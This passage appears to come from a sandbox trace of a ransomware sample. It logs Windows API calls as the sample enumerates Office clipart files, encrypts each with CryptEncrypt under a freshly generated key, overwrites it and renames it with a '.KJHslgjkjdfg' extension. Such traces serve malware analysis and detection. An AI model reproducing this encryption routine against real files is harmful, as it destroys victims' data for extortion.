pdwDataLen=0x29df258*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84a0) returned 1 [0198.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.336] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x84a0, lpOverlapped=0x0) returned 1 [0198.336] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.336] SetEndOfFile (hFile=0x130) returned 1 [0198.337] GetProcessHeap () returned 0x990000 [0198.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.337] GetProcessHeap () returned 0x990000 [0198.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.kjhslgjkjdfg")) returned 1 [0198.339] CloseHandle (hObject=0x130) returned 1 [0198.339] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0198.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.340] GetProcessHeap () returned 0x990000 [0198.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.343] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.343] GetProcessHeap () returned 0x990000 [0198.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.343] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.343] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.343] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.344] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.344] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.344] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.344] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.344] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.344] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.344] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5cae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5cae, lpOverlapped=0x0) returned 1 [0198.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5cb0, dwBufLen=0x5cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5cb0) returned 1 [0198.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.346] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5cb0, lpOverlapped=0x0) returned 1 [0198.346] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.346] SetEndOfFile (hFile=0x130) returned 1 [0198.349] GetProcessHeap () returned 0x990000 [0198.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.349] GetProcessHeap () returned 0x990000 [0198.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.kjhslgjkjdfg")) returned 1 [0198.351] CloseHandle (hObject=0x130) returned 1 [0198.351] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0198.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.354] GetProcessHeap () returned 0x990000 [0198.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.354] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.355] GetProcessHeap () returned 0x990000 [0198.355] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.355] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.355] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.355] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.357] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.357] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.357] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.358] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.358] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.358] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8860, lpOverlapped=0x0) returned 1 [0198.359] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8860, dwBufLen=0x8860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8860) returned 1 [0198.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.360] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8860, lpOverlapped=0x0) returned 1 [0198.360] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.360] SetEndOfFile (hFile=0x130) returned 1 [0198.363] GetProcessHeap () returned 0x990000 [0198.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.363] GetProcessHeap () returned 0x990000 [0198.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.kjhslgjkjdfg")) returned 1 [0198.365] CloseHandle (hObject=0x130) returned 1 [0198.365] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0198.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.367] GetProcessHeap () returned 0x990000 [0198.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.369] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.369] GetProcessHeap () returned 0x990000 [0198.369] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.369] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.369] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.369] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.369] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.369] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.370] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.370] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6624, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6624, lpOverlapped=0x0) returned 1 [0198.371] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6630, dwBufLen=0x6630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6630) returned 1 [0198.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.371] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6630, lpOverlapped=0x0) returned 1 [0198.371] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.372] SetEndOfFile (hFile=0x130) returned 1 [0198.372] GetProcessHeap () returned 0x990000 [0198.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.372] GetProcessHeap () returned 0x990000 [0198.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.kjhslgjkjdfg")) returned 1 [0198.374] CloseHandle (hObject=0x130) returned 1 [0198.374] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0198.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.375] GetProcessHeap () returned 0x990000 [0198.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.375] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.375] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.377] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.377] GetProcessHeap () returned 0x990000 [0198.377] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.377] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.377] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.377] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.377] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.378] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.378] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3cce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3cce, lpOverlapped=0x0) returned 1 [0198.379] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3cd0, dwBufLen=0x3cd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3cd0) returned 1 [0198.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.379] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3cd0, lpOverlapped=0x0) returned 1 [0198.380] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.380] SetEndOfFile (hFile=0x130) returned 1 [0198.382] GetProcessHeap () returned 0x990000 [0198.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.382] GetProcessHeap () returned 0x990000 [0198.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.kjhslgjkjdfg")) returned 1 [0198.384] CloseHandle (hObject=0x130) returned 1 [0198.384] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, 